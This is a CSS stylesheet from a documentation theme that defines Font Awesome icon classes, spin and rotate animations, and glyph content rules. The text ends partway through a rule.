.pull-right.headerlink,\n.rst-content dl dt .pull-right.headerlink,\n.rst-content p.caption .pull-right.headerlink,\n.rst-content table>caption .pull-right.headerlink,\n.rst-content tt.download span.pull-right:first-child,\n.rst-content code.download span.pull-right:first-child,\n.pull-right.icon {\n    margin-left: .3em\n}\n\n.fa-spin {\n    -webkit-animation: fa-spin 2s infinite linear;\n    animation: fa-spin 2s infinite linear\n}\n\n.fa-pulse {\n    -webkit-animation: fa-spin 1s infinite steps(8);\n    animation: fa-spin 1s infinite steps(8)\n}\n\n@-webkit-keyframes fa-spin {\n    0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg)\n    }\n\n    100% {\n        -webkit-transform: rotate(359deg);\n        transform: rotate(359deg)\n    }\n}\n\n@keyframes fa-spin {\n    0% {\n        -webkit-transform: rotate(0deg);\n        transform: rotate(0deg)\n    }\n\n    100% {\n        -webkit-transform: rotate(359deg);\n        transform: rotate(359deg)\n    }\n}\n\n.fa-rotate-90 {\n    -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=1)\";\n    -webkit-transform: rotate(90deg);\n    -ms-transform: rotate(90deg);\n    transform: rotate(90deg)\n}\n\n.fa-rotate-180 {\n    -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2)\";\n    -webkit-transform: rotate(180deg);\n    -ms-transform: rotate(180deg);\n    transform: rotate(180deg)\n}\n\n.fa-rotate-270 {\n    -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=3)\";\n    -webkit-transform: rotate(270deg);\n    -ms-transform: rotate(270deg);\n    transform: rotate(270deg)\n}\n\n.fa-flip-horizontal {\n    -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=0, mirror=1)\";\n    -webkit-transform: scale(-1, 1);\n    -ms-transform: scale(-1, 1);\n    transform: scale(-1, 1)\n}\n\n.fa-flip-vertical {\n    -ms-filter: \"progid:DXImageTransform.Microsoft.BasicImage(rotation=2, mirror=1)\";\n    -webkit-transform: scale(1, -1);\n    -ms-transform: scale(1, -1);\n    transform: scale(1, -1)\n}\n\n:root .fa-rotate-90,\n:root .fa-rotate-180,\n:root .fa-rotate-270,\n:root .fa-flip-horizontal,\n:root .fa-flip-vertical {\n    filter: none\n}\n\n.fa-stack {\n    position: relative;\n    display: inline-block;\n    width: 2em;\n    height: 2em;\n    line-height: 2em;\n    vertical-align: middle\n}\n\n.fa-stack-1x,\n.fa-stack-2x {\n    position: absolute;\n    left: 0;\n    width: 100%;\n    text-align: center\n}\n\n.fa-stack-1x {\n    line-height: inherit\n}\n\n.fa-stack-2x {\n    font-size: 2em\n}\n\n.fa-inverse {\n    color: #fff\n}\n\n.fa-glass:before {\n    content: \"\"\n}\n\n.fa-music:before {\n    content: \"\"\n}\n\n.fa-search:before,\n.icon-search:before {\n    content: \"\"\n}\n\n.fa-envelope-o:before {\n    content: \"\"\n}\n\n.fa-heart:before {\n    content: \"\"\n}\n\n.fa-star:before {\n    content: \"\"\n}\n\n.fa-star-o:before {\n    content: \"\"\n}\n\n.fa-user:before {\n    content: \"\"\n}\n\n.fa-film:before {\n    content: \"\"\n}\n\n.fa-th-large:before {\n    content: \"\"\n}\n\n.fa-th:before {\n    content: \"\"\n}\n\n.fa-th-list:before {\n    content: \"\"\n}\n\n.fa-check:before {\n    content: \"\"\n}\n\n.fa-remove:before,\n.fa-close:before,\n.fa-times:before {\n    content: \"\"\n}\n\n.fa-search-plus:before {\n    content: \"\"\n}\n\n.fa-search-minus:before {\n    content: \"\"\n}\n\n.fa-power-off:before {\n    content: \"\"\n}\n\n.fa-signal:before {\n    content: \"\"\n}\n\n.fa-gear:before,\n.fa-cog:before {\n    content: \"\"\n}\n\n.fa-trash-o:before {\n    content: \"\"\n}\n\n.fa-home:before,\n.icon-home:before {\n    content: \"\"\n}\n\n.fa-file-o:before {\n    content: \"\"\n}\n\n.fa-clock-o:before {\n    content: \"\"\n}\n\n.fa-road:before {\n    content: \"\"\n}\n\n.fa-download:before,\n.rst-content tt.download span:first-child:before,\n.rst-content code.download span:first-child:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-o-down:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-o-up:before {\n    content: \"\"\n}\n\n.fa-inbox:before {\n    content: \"\"\n}\n\n.fa-play-circle-o:before {\n    content: \"\"\n}\n\n.fa-rotate-right:before,\n.fa-repeat:before {\n    content: \"\"\n}\n\n.fa-refresh:before {\n    content: \"\"\n}\n\n.fa-list-alt:before {\n    content: \"\"\n}\n\n.fa-lock:before {\n    content: \"\"\n}\n\n.fa-flag:before {\n    content: \"\"\n}\n\n.fa-headphones:before {\n    content: \"\"\n}\n\n.fa-volume-off:before {\n    content: \"\"\n}\n\n.fa-volume-down:before {\n    content: \"\"\n}\n\n.fa-volume-up:before {\n    content: \"\"\n}\n\n.fa-qrcode:before {\n    content: \"\"\n}\n\n.fa-barcode:before {\n    content: \"\"\n}\n\n.fa-tag:before {\n    content: \"\"\n}\n\n.fa-tags:before {\n    content: \"\"\n}\n\n.fa-book:before,\n.icon-book:before {\n    content: \"\"\n}\n\n.fa-bookmark:before {\n    content: \"\"\n}\n\n.fa-print:before {\n    content: \"\"\n}\n\n.fa-camera:before {\n    content: \"\"\n}\n\n.fa-font:before {\n    content: \"\"\n}\n\n.fa-bold:before {\n    content: \"\"\n}\n\n.fa-italic:before {\n    content: \"\"\n}\n\n.fa-text-height:before {\n    content: \"\"\n}\n\n.fa-text-width:before {\n    content: \"\"\n}\n\n.fa-align-left:before {\n    content: \"\"\n}\n\n.fa-align-center:before {\n    content: \"\"\n}\n\n.fa-align-right:before {\n    content: \"\"\n}\n\n.fa-align-justify:before {\n    content: \"\"\n}\n\n.fa-list:before {\n    content: \"\"\n}\n\n.fa-dedent:before,\n.fa-outdent:before {\n    content: \"\"\n}\n\n.fa-indent:before {\n    content: \"\"\n}\n\n.fa-video-camera:before {\n    content: \"\"\n}\n\n.fa-photo:before,\n.fa-image:before,\n.fa-picture-o:before {\n    content: \"\"\n}\n\n.fa-pencil:before {\n    content: \"\"\n}\n\n.fa-map-marker:before {\n    content: \"\"\n}\n\n.fa-adjust:before {\n    content: \"\"\n}\n\n.fa-tint:before {\n    content: \"\"\n}\n\n.fa-edit:before,\n.fa-pencil-square-o:before {\n    content: \"\"\n}\n\n.fa-share-square-o:before {\n    content: \"\"\n}\n\n.fa-check-square-o:before {\n    content: \"\"\n}\n\n.fa-arrows:before {\n    content: \"\"\n}\n\n.fa-step-backward:before {\n    content: \"\"\n}\n\n.fa-fast-backward:before {\n    content: \"\"\n}\n\n.fa-backward:before {\n    content: \"\"\n}\n\n.fa-play:before {\n    content: \"\"\n}\n\n.fa-pause:before {\n    content: \"\"\n}\n\n.fa-stop:before {\n    content: \"\"\n}\n\n.fa-forward:before {\n    content: \"\"\n}\n\n.fa-fast-forward:before {\n    content: \"\"\n}\n\n.fa-step-forward:before {\n    content: \"\"\n}\n\n.fa-eject:before {\n    content: \"\"\n}\n\n.fa-chevron-left:before {\n    content: \"\"\n}\n\n.fa-chevron-right:before {\n    content: \"\"\n}\n\n.fa-plus-circle:before {\n    content: \"\"\n}\n\n.fa-minus-circle:before {\n    content: \"\"\n}\n\n.fa-times-circle:before,\n.wy-inline-validate.wy-inline-validate-danger .wy-input-context:before {\n    content: \"\"\n}\n\n.fa-check-circle:before,\n.wy-inline-validate.wy-inline-validate-success .wy-input-context:before {\n    content: \"\"\n}\n\n.fa-question-circle:before {\n    content: \"\"\n}\n\n.fa-info-circle:before {\n    content: \"\"\n}\n\n.fa-crosshairs:before {\n    content: \"\"\n}\n\n.fa-times-circle-o:before {\n    content: \"\"\n}\n\n.fa-check-circle-o:before {\n    content: \"\"\n}\n\n.fa-ban:before {\n    content: \"\"\n}\n\n.fa-arrow-left:before {\n    content: \"\"\n}\n\n.fa-arrow-right:before {\n    content: \"\"\n}\n\n.fa-arrow-up:before {\n    content: \"\"\n}\n\n.fa-arrow-down:before {\n    content: \"\"\n}\n\n.fa-mail-forward:before,\n.fa-share:before {\n    content: \"\"\n}\n\n.fa-expand:before {\n    content: \"\"\n}\n\n.fa-compress:before {\n    content: \"\"\n}\n\n.fa-plus:before {\n    content: \"\"\n}\n\n.fa-minus:before {\n    content: \"\"\n}\n\n.fa-asterisk:before {\n    content: \"\"\n}\n\n.fa-exclamation-circle:before,\n.wy-inline-validate.wy-inline-validate-warning .wy-input-context:before,\n.wy-inline-validate.wy-inline-validate-info .wy-input-context:before,\n.rst-content .admonition-title:before {\n    content: \"\"\n}\n\n.fa-gift:before {\n    content: \"\"\n}\n\n.fa-leaf:before {\n    content: \"\"\n}\n\n.fa-fire:before,\n.icon-fire:before {\n    content: \"\"\n}\n\n.fa-eye:before {\n    content: \"\"\n}\n\n.fa-eye-slash:before {\n    content: \"\"\n}\n\n.fa-warning:before,\n.fa-exclamation-triangle:before {\n    content: \"\"\n}\n\n.fa-plane:before {\n    content: \"\"\n}\n\n.fa-calendar:before {\n    content: \"\"\n}\n\n.fa-random:before {\n    content: \"\"\n}\n\n.fa-comment:before {\n    content: \"\"\n}\n\n.fa-magnet:before {\n    content: \"\"\n}\n\n.fa-chevron-up:before {\n    content: \"\"\n}\n\n.fa-chevron-down:before {\n    content: \"\"\n}\n\n.fa-retweet:before {\n    content: \"\"\n}\n\n.fa-shopping-cart:before {\n    content: \"\"\n}\n\n.fa-folder:before {\n    content: \"\"\n}\n\n.fa-folder-open:before {\n    content: \"\"\n}\n\n.fa-arrows-v:before {\n    content: \"\"\n}\n\n.fa-arrows-h:before {\n    content: \"\"\n}\n\n.fa-bar-chart-o:before,\n.fa-bar-chart:before {\n    content: \"\"\n}\n\n.fa-twitter-square:before {\n    content: \"\"\n}\n\n.fa-facebook-square:before {\n    content: \"\"\n}\n\n.fa-camera-retro:before {\n    content: \"\"\n}\n\n.fa-key:before {\n    content: \"\"\n}\n\n.fa-gears:before,\n.fa-cogs:before {\n    content: \"\"\n}\n\n.fa-comments:before {\n    content: \"\"\n}\n\n.fa-thumbs-o-up:before {\n    content: \"\"\n}\n\n.fa-thumbs-o-down:before {\n    content: \"\"\n}\n\n.fa-star-half:before {\n    content: \"\"\n}\n\n.fa-heart-o:before {\n    content: \"\"\n}\n\n.fa-sign-out:before {\n    content: \"\"\n}\n\n.fa-linkedin-square:before {\n    content: \"\"\n}\n\n.fa-thumb-tack:before {\n    content: \"\"\n}\n\n.fa-external-link:before {\n    content: \"\"\n}\n\n.fa-sign-in:before {\n    content: \"\"\n}\n\n.fa-trophy:before {\n    content: \"\"\n}\n\n.fa-github-square:before {\n    content: \"\"\n}\n\n.fa-upload:before {\n    content: \"\"\n}\n\n.fa-lemon-o:before {\n    content: \"\"\n}\n\n.fa-phone:before {\n    content: \"\"\n}\n\n.fa-square-o:before {\n    content: \"\"\n}\n\n.fa-bookmark-o:before {\n    content: \"\"\n}\n\n.fa-phone-square:before {\n    content: \"\"\n}\n\n.fa-twitter:before {\n    content: \"\"\n}\n\n.fa-facebook-f:before,\n.fa-facebook:before {\n    content: \"\"\n}\n\n.fa-github:before,\n.icon-github:before {\n    content: \"\";\n    color: #102971;\n}\n\n.fa-unlock:before {\n    content: \"\"\n}\n\n.fa-credit-card:before {\n    content: \"\"\n}\n\n.fa-feed:before,\n.fa-rss:before {\n    content: \"\"\n}\n\n.fa-hdd-o:before {\n    content: \"\"\n}\n\n.fa-bullhorn:before {\n    content: \"\"\n}\n\n.fa-bell:before {\n    content: \"\"\n}\n\n.fa-certificate:before {\n    content: \"\"\n}\n\n.fa-hand-o-right:before {\n    content: \"\"\n}\n\n.fa-hand-o-left:before {\n    content: \"\"\n}\n\n.fa-hand-o-up:before {\n    content: \"\"\n}\n\n.fa-hand-o-down:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-left:before,\n.icon-circle-arrow-left:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-right:before,\n.icon-circle-arrow-right:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-up:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-down:before {\n    content: \"\"\n}\n\n.fa-globe:before {\n    content: \"\"\n}\n\n.fa-wrench:before {\n    content: \"\"\n}\n\n.fa-tasks:before {\n    content: \"\"\n}\n\n.fa-filter:before {\n    content: \"\"\n}\n\n.fa-briefcase:before {\n    content: \"\"\n}\n\n.fa-arrows-alt:before {\n    content: \"\"\n}\n\n.fa-group:before,\n.fa-users:before {\n    content: \"\"\n}\n\n.fa-chain:before,\n.fa-link:before,\n.icon-link:before {\n    content: \"\"\n}\n\n.fa-cloud:before {\n    content: \"\"\n}\n\n.fa-flask:before {\n    content: \"\"\n}\n\n.fa-cut:before,\n.fa-scissors:before {\n    content: \"\"\n}\n\n.fa-copy:before,\n.fa-files-o:before {\n    content: \"\"\n}\n\n.fa-paperclip:before {\n    content: \"\"\n}\n\n.fa-save:before,\n.fa-floppy-o:before {\n    content: \"\"\n}\n\n.fa-square:before {\n    content: \"\"\n}\n\n.fa-navicon:before,\n.fa-reorder:before,\n.fa-bars:before {\n    content: \"\"\n}\n\n.fa-list-ul:before {\n    content: \"\"\n}\n\n.fa-list-ol:before {\n    content: \"\"\n}\n\n.fa-strikethrough:before {\n    content: \"\"\n}\n\n.fa-underline:before {\n    content: \"\"\n}\n\n.fa-table:before {\n    content: \"\"\n}\n\n.fa-magic:before {\n    content: \"\"\n}\n\n.fa-truck:before {\n    content: \"\"\n}\n\n.fa-pinterest:before {\n    content: \"\"\n}\n\n.fa-pinterest-square:before {\n    content: \"\"\n}\n\n.fa-google-plus-square:before {\n    content: \"\"\n}\n\n.fa-google-plus:before {\n    content: \"\"\n}\n\n.fa-money:before {\n    content: \"\"\n}\n\n.fa-caret-down:before,\n.wy-dropdown .caret:before,\n.icon-caret-down:before {\n    content: \"\"\n}\n\n.fa-caret-up:before {\n    content: \"\"\n}\n\n.fa-caret-left:before {\n    content: \"\"\n}\n\n.fa-caret-right:before {\n    content: \"\"\n}\n\n.fa-columns:before {\n    content: \"\"\n}\n\n.fa-unsorted:before,\n.fa-sort:before {\n    content: \"\"\n}\n\n.fa-sort-down:before,\n.fa-sort-desc:before {\n    content: \"\"\n}\n\n.fa-sort-up:before,\n.fa-sort-asc:before {\n    content: \"\"\n}\n\n.fa-envelope:before {\n    content: \"\"\n}\n\n.fa-linkedin:before {\n    content: \"\"\n}\n\n.fa-rotate-left:before,\n.fa-undo:before {\n    content: \"\"\n}\n\n.fa-legal:before,\n.fa-gavel:before {\n    content: \"\"\n}\n\n.fa-dashboard:before,\n.fa-tachometer:before {\n    content: \"\"\n}\n\n.fa-comment-o:before {\n    content: \"\"\n}\n\n.fa-comments-o:before {\n    content: \"\"\n}\n\n.fa-flash:before,\n.fa-bolt:before {\n    content: \"\"\n}\n\n.fa-sitemap:before {\n    content: \"\"\n}\n\n.fa-umbrella:before {\n    content: \"\"\n}\n\n.fa-paste:before,\n.fa-clipboard:before {\n    content: \"\"\n}\n\n.fa-lightbulb-o:before {\n    content: \"\"\n}\n\n.fa-exchange:before {\n    content: \"\"\n}\n\n.fa-cloud-download:before {\n    content: \"\"\n}\n\n.fa-cloud-upload:before {\n    content: \"\"\n}\n\n.fa-user-md:before {\n    content: \"\"\n}\n\n.fa-stethoscope:before {\n    content: \"\"\n}\n\n.fa-suitcase:before {\n    content: \"\"\n}\n\n.fa-bell-o:before {\n    content: \"\"\n}\n\n.fa-coffee:before {\n    content: \"\"\n}\n\n.fa-cutlery:before {\n    content: \"\"\n}\n\n.fa-file-text-o:before {\n    content: \"\"\n}\n\n.fa-building-o:before {\n    content: \"\"\n}\n\n.fa-hospital-o:before {\n    content: \"\"\n}\n\n.fa-ambulance:before {\n    content: \"\"\n}\n\n.fa-medkit:before {\n    content: \"\"\n}\n\n.fa-fighter-jet:before {\n    content: \"\"\n}\n\n.fa-beer:before {\n    content: \"\"\n}\n\n.fa-h-square:before {\n    content: \"\"\n}\n\n.fa-plus-square:before {\n    content: \"\"\n}\n\n.fa-angle-double-left:before {\n    content: \"\"\n}\n\n.fa-angle-double-right:before {\n    content: \"\"\n}\n\n.fa-angle-double-up:before {\n    content: \"\"\n}\n\n.fa-angle-double-down:before {\n    content: \"\"\n}\n\n.fa-angle-left:before {\n    content: \"\"\n}\n\n.fa-angle-right:before {\n    content: \"\"\n}\n\n.fa-angle-up:before {\n    content: \"\"\n}\n\n.fa-angle-down:before {\n    content: \"\"\n}\n\n.fa-desktop:before {\n    content: \"\"\n}\n\n.fa-laptop:before {\n    content: \"\"\n}\n\n.fa-tablet:before {\n    content: \"\"\n}\n\n.fa-mobile-phone:before,\n.fa-mobile:before {\n    content: \"\"\n}\n\n.fa-circle-o:before {\n    content: \"\"\n}\n\n.fa-quote-left:before {\n    content: \"\"\n}\n\n.fa-quote-right:before {\n    content: \"\"\n}\n\n.fa-spinner:before {\n    content: \"\"\n}\n\n.fa-circle:before {\n    content: \"\"\n}\n\n.fa-mail-reply:before,\n.fa-reply:before {\n    content: \"\"\n}\n\n.fa-github-alt:before {\n    content: \"\"\n}\n\n.fa-folder-o:before {\n    content: \"\"\n}\n\n.fa-folder-open-o:before {\n    content: \"\"\n}\n\n.fa-smile-o:before {\n    content: \"\"\n}\n\n.fa-frown-o:before {\n    content: \"\"\n}\n\n.fa-meh-o:before {\n    content: \"\"\n}\n\n.fa-gamepad:before {\n    content: \"\"\n}\n\n.fa-keyboard-o:before {\n    content: \"\"\n}\n\n.fa-flag-o:before {\n    content: \"\"\n}\n\n.fa-flag-checkered:before {\n    content: \"\"\n}\n\n.fa-terminal:before {\n    content: \"\"\n}\n\n.fa-code:before {\n    content: \"\"\n}\n\n.fa-mail-reply-all:before,\n.fa-reply-all:before {\n    content: \"\"\n}\n\n.fa-star-half-empty:before,\n.fa-star-half-full:before,\n.fa-star-half-o:before {\n    content: \"\"\n}\n\n.fa-location-arrow:before {\n    content: \"\"\n}\n\n.fa-crop:before {\n    content: \"\"\n}\n\n.fa-code-fork:before {\n    content: \"\"\n}\n\n.fa-unlink:before,\n.fa-chain-broken:before {\n    content: \"\"\n}\n\n.fa-question:before {\n    content: \"\"\n}\n\n.fa-info:before {\n    content: \"\"\n}\n\n.fa-exclamation:before {\n    content: \"\"\n}\n\n.fa-superscript:before {\n    content: \"\"\n}\n\n.fa-subscript:before {\n    content: \"\"\n}\n\n.fa-eraser:before {\n    content: \"\"\n}\n\n.fa-puzzle-piece:before {\n    content: \"\"\n}\n\n.fa-microphone:before {\n    content: \"\"\n}\n\n.fa-microphone-slash:before {\n    content: \"\"\n}\n\n.fa-shield:before {\n    content: \"\"\n}\n\n.fa-calendar-o:before {\n    content: \"\"\n}\n\n.fa-fire-extinguisher:before {\n    content: \"\"\n}\n\n.fa-rocket:before {\n    content: \"\"\n}\n\n.fa-maxcdn:before {\n    content: \"\"\n}\n\n.fa-chevron-circle-left:before {\n    content: \"\"\n}\n\n.fa-chevron-circle-right:before {\n    content: \"\"\n}\n\n.fa-chevron-circle-up:before {\n    content: \"\"\n}\n\n.fa-chevron-circle-down:before {\n    content: \"\"\n}\n\n.fa-html5:before {\n    content: \"\"\n}\n\n.fa-css3:before {\n    content: \"\"\n}\n\n.fa-anchor:before {\n    content: \"\"\n}\n\n.fa-unlock-alt:before {\n    content: \"\"\n}\n\n.fa-bullseye:before {\n    content: \"\"\n}\n\n.fa-ellipsis-h:before {\n    content: \"\"\n}\n\n.fa-ellipsis-v:before {\n    content: \"\"\n}\n\n.fa-rss-square:before {\n    content: \"\"\n}\n\n.fa-play-circle:before {\n    content: \"\"\n}\n\n.fa-ticket:before {\n    content: \"\"\n}\n\n.fa-minus-square:before {\n    content: \"\"\n}\n\n/* .fa-minus-square-o:before,\n.wy-menu-vertical li.on a span.toctree-expand:before,\n.wy-menu-vertical li.current>a span.toctree-expand:before {\n    content: \"\"\n} */\n\n.fa-level-up:before {\n    content: \"\"\n}\n\n.fa-level-down:before {\n    content: \"\"\n}\n\n.fa-check-square:before {\n    content: \"\"\n}\n\n.fa-pencil-square:before {\n    content: \"\"\n}\n\n.fa-external-link-square:before {\n    content: \"\"\n}\n\n.fa-share-square:before {\n    content: \"\"\n}\n\n.fa-compass:before {\n    content: \"\"\n}\n\n.fa-toggle-down:before,\n.fa-caret-square-o-down:before {\n    content: \"\"\n}\n\n.fa-toggle-up:before,\n.fa-caret-square-o-up:before {\n    content: \"\"\n}\n\n.fa-toggle-right:before,\n.fa-caret-square-o-right:before {\n    content: \"\"\n}\n\n.fa-euro:before,\n.fa-eur:before {\n    content: \"\"\n}\n\n.fa-gbp:before {\n    content: \"\"\n}\n\n.fa-dollar:before,\n.fa-usd:before {\n    content: \"\"\n}\n\n.fa-rupee:before,\n.fa-inr:before {\n    content: \"\"\n}\n\n.fa-cny:before,\n.fa-rmb:before,\n.fa-yen:before,\n.fa-jpy:before {\n    content: \"\"\n}\n\n.fa-ruble:before,\n.fa-rouble:before,\n.fa-rub:before {\n    content: \"\"\n}\n\n.fa-won:before,\n.fa-krw:before {\n    content: \"\"\n}\n\n.fa-bitcoin:before,\n.fa-btc:before {\n    content: \"\"\n}\n\n.fa-file:before {\n    content: \"\"\n}\n\n.fa-file-text:before {\n    content: \"\"\n}\n\n.fa-sort-alpha-asc:before {\n    content: \"\"\n}\n\n.fa-sort-alpha-desc:before {\n    content: \"\"\n}\n\n.fa-sort-amount-asc:before {\n    content: \"\"\n}\n\n.fa-sort-amount-desc:before {\n    content: \"\"\n}\n\n.fa-sort-numeric-asc:before {\n    content: \"\"\n}\n\n.fa-sort-numeric-desc:before {\n    content: \"\"\n}\n\n.fa-thumbs-up:before {\n    content: \"\"\n}\n\n.fa-thumbs-down:before {\n    content: \"\"\n}\n\n.fa-youtube-square:before {\n    content: \"\"\n}\n\n.fa-youtube:before {\n    content: \"\"\n}\n\n.fa-xing:before {\n    content: \"\"\n}\n\n.fa-xing-square:before {\n    content: \"\"\n}\n\n.fa-youtube-play:before {\n    content: \"\"\n}\n\n.fa-dropbox:before {\n    content: \"\"\n}\n\n.fa-stack-overflow:before {\n    content: \"\"\n}\n\n.fa-instagram:before {\n    content: \"\"\n}\n\n.fa-flickr:before {\n    content: \"\"\n}\n\n.fa-adn:before {\n    content: \"\"\n}\n\n.fa-bitbucket:before,\n.icon-bitbucket:before {\n    content: \"\"\n}\n\n.fa-bitbucket-square:before {\n    content: \"\"\n}\n\n.fa-tumblr:before {\n    content: \"\"\n}\n\n.fa-tumblr-square:before {\n    content: \"\"\n}\n\n.fa-long-arrow-down:before {\n    content: \"\"\n}\n\n.fa-long-arrow-up:before {\n    content: \"\"\n}\n\n.fa-long-arrow-left:before {\n    content: \"\"\n}\n\n.fa-long-arrow-right:before {\n    content: \"\"\n}\n\n.fa-apple:before {\n    content: \"\"\n}\n\n.fa-windows:before {\n    content: \"\"\n}\n\n.fa-android:before {\n    content: \"\"\n}\n\n.fa-linux:before {\n    content: \"\"\n}\n\n.fa-dribbble:before {\n    content: \"\"\n}\n\n.fa-skype:before {\n    content: \"\"\n}\n\n.fa-foursquare:before {\n    content: \"\"\n}\n\n.fa-trello:before {\n    content: \"\"\n}\n\n.fa-female:before {\n    content: \"\"\n}\n\n.fa-male:before {\n    content: \"\"\n}\n\n.fa-gittip:before,\n.fa-gratipay:before {\n    content: \"\"\n}\n\n.fa-sun-o:before {\n    content: \"\"\n}\n\n.fa-moon-o:before {\n    content: \"\"\n}\n\n.fa-archive:before {\n    content: \"\"\n}\n\n.fa-bug:before {\n    content: \"\"\n}\n\n.fa-vk:before {\n    content: \"\"\n}\n\n.fa-weibo:before {\n    content: \"\"\n}\n\n.fa-renren:before {\n    content: \"\"\n}\n\n.fa-pagelines:before {\n    content: \"\"\n}\n\n.fa-stack-exchange:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-o-right:before {\n    content: \"\"\n}\n\n.fa-arrow-circle-o-left:before {\n    content: \"\"\n}\n\n.fa-toggle-left:before,\n.fa-caret-square-o-left:before {\n    content: \"\"\n}\n\n.fa-dot-circle-o:before {\n    content: \"\"\n}\n\n.fa-wheelchair:before {\n    content: \"\"\n}\n\n.fa-vimeo-square:before {\n    content: \"\"\n}\n\n.fa-turkish-lira:before,\n.fa-try:before {\n    content: \"\"\n}\n\n/* .fa-plus-square-o:before,\n.wy-menu-vertical li span.toctree-expand:before {\n    content: \"\"\n} */\n\n.fa-space-shuttle:before {\n    content: \"\"\n}\n\n.fa-slack:before {\n    content: \"\"\n}\n\n.fa-envelope-square:before {\n    content: \"\"\n}\n\n.fa-wordpress:before {\n    content: \"\"\n}\n\n.fa-openid:before {\n    content: \"\"\n}\n\n.fa-institution:before,\n.fa-bank:before,\n.fa-university:before {\n    content: \"\"\n}\n\n.fa-mortar-board:before,\n.fa-graduation-cap:before {\n    content: \"\"\n}\n\n.fa-yahoo:before {\n    content: \"\"\n}\n\n.fa-google:before {\n    content: \"\"\n}\n\n.fa-reddit:before {\n    content: \"\"\n}\n\n.fa-reddit-square:before {\n    content: \"\"\n}\n\n.fa-stumbleupon-circle:before {\n    content: \"\"\n}\n\n.fa-stumbleupon:before {\n    content: \"\"\n}\n\n.fa-delicious:before {\n    content: \"\"\n}\n\n.fa-digg:before {\n    content: \"\"\n}\n\n.fa-pied-piper-pp:before {\n    content: \"\"\n}\n\n.fa-pied-piper-alt:before {\n    content: \"\"\n}\n\n.fa-drupal:before {\n    content: \"\"\n}\n\n.fa-joomla:before {\n    content: \"\"\n}\n\n.fa-language:before {\n    content: \"\"\n}\n\n.fa-fax:before {\n    content: \"\"\n}\n\n.fa-building:before {\n    content: \"\"\n}\n\n.fa-child:before {\n    content: \"\"\n}\n\n.fa-paw:before {\n    content: \"\"\n}\n\n.fa-spoon:before {\n    content: \"\"\n}\n\n.fa-cube:before {\n    content: \"\"\n}\n\n.fa-cubes:before {\n    content: \"\"\n}\n\n.fa-behance:before {\n    content: \"\"\n}\n\n.fa-behance-square:before {\n    content: \"\"\n}\n\n.fa-steam:before {\n    content: \"\"\n}\n\n.fa-steam-square:before {\n    content: \"\"\n}\n\n.fa-recycle:before {\n    content: \"\"\n}\n\n.fa-automobile:before,\n.fa-car:before {\n    content: \"\"\n}\n\n.fa-cab:before,\n.fa-taxi:before {\n    content: \"\"\n}\n\n.fa-tree:before {\n    content: \"\"\n}\n\n.fa-spotify:before {\n    content: \"\"\n}\n\n.fa-deviantart:before {\n    content: \"\"\n}\n\n.fa-soundcloud:before {\n    content: \"\"\n}\n\n.fa-database:before {\n    content: \"\"\n}\n\n.fa-file-pdf-o:before {\n    content: \"\"\n}\n\n.fa-file-word-o:before {\n    content: \"\"\n}\n\n.fa-file-excel-o:before {\n    content: \"\"\n}\n\n.fa-file-powerpoint-o:before {\n    content: \"\"\n}\n\n.fa-file-photo-o:before,\n.fa-file-picture-o:before,\n.fa-file-image-o:before {\n    content: \"\"\n}\n\n.fa-file-zip-o:before,\n.fa-file-archive-o:before {\n    content: \"\"\n}\n\n.fa-file-sound-o:before,\n.fa-file-audio-o:before {\n    content: \"\"\n}\n\n.fa-file-movie-o:before,\n.fa-file-video-o:before {\n    content: \"\"\n}\n\n.fa-file-code-o:before {\n    content: \"\"\n}\n\n.fa-vine:before {\n    content: \"\"\n}\n\n.fa-codepen:before {\n    content: \"\"\n}\n\n.fa-jsfiddle:before {\n    content: \"\"\n}\n\n.fa-life-bouy:before,\n.fa-life-buoy:before,\n.fa-life-saver:before,\n.fa-support:before,\n.fa-life-ring:before {\n    content: \"\"\n}\n\n.fa-circle-o-notch:before {\n    content: \"\"\n}\n\n.fa-ra:before,\n.fa-resistance:before,\n.fa-rebel:before {\n    content: \"\"\n}\n\n.fa-ge:before,\n.fa-empire:before {\n    content: \"\"\n}\n\n.fa-git-square:before {\n    content: \"\"\n}\n\n.fa-git:before {\n    content: \"\"\n}\n\n.fa-y-combinator-square:before,\n.fa-yc-square:before,\n.fa-hacker-news:before {\n    content: \"\"\n}\n\n.fa-tencent-weibo:before {\n    content: \"\"\n}\n\n.fa-qq:before {\n    content: \"\"\n}\n\n.fa-wechat:before,\n.fa-weixin:before {\n    content: \"\"\n}\n\n.fa-send:before,\n.fa-paper-plane:before {\n    content: \"\"\n}\n\n.fa-send-o:before,\n.fa-paper-plane-o:before {\n    content: \"\"\n}\n\n.fa-history:before {\n    content: \"\"\n}\n\n.fa-circle-thin:before {\n    content: \"\"\n}\n\n.fa-header:before {\n    content: \"\"\n}\n\n.fa-paragraph:before {\n    content: \"\"\n}\n\n.fa-sliders:before {\n    content: \"\"\n}\n\n.fa-share-alt:before {\n    content: \"\"\n}\n\n.fa-share-alt-square:before {\n    content: \"\"\n}\n\n.fa-bomb:before {\n    content: \"\"\n}\n\n.fa-soccer-ball-o:before,\n.fa-futbol-o:before {\n    content: \"\"\n}\n\n.fa-tty:before {\n    content: \"\"\n}\n\n.fa-binoculars:before {\n    content: \"\"\n}\n\n.fa-plug:before {\n    content: \"\"\n}\n\n.fa-slideshare:before {\n    content: \"\"\n}\n\n.fa-twitch:before {\n    content: \"\"\n}\n\n.fa-yelp:before {\n    content: \"\"\n}\n\n.fa-newspaper-o:before {\n    content: \"\"\n}\n\n.fa-wifi:before {\n    content: \"\"\n}\n\n.fa-calculator:before {\n    content: \"\"\n}\n\n.fa-paypal:before {\n    content: \"\"\n}\n\n.fa-google-wallet:before {\n    content: \"\"\n}\n\n.fa-cc-visa:before {\n    content: \"\"\n}\n\n.fa-cc-mastercard:before {\n    content: \"\"\n}\n\n.fa-cc-discover:before {\n    content: \"\"\n}\n\n.fa-cc-amex:before {\n    content: \"\"\n}\n\n.fa-cc-paypal:before {\n    content: \"\"\n}\n\n.fa-cc-stripe:before {\n    content: 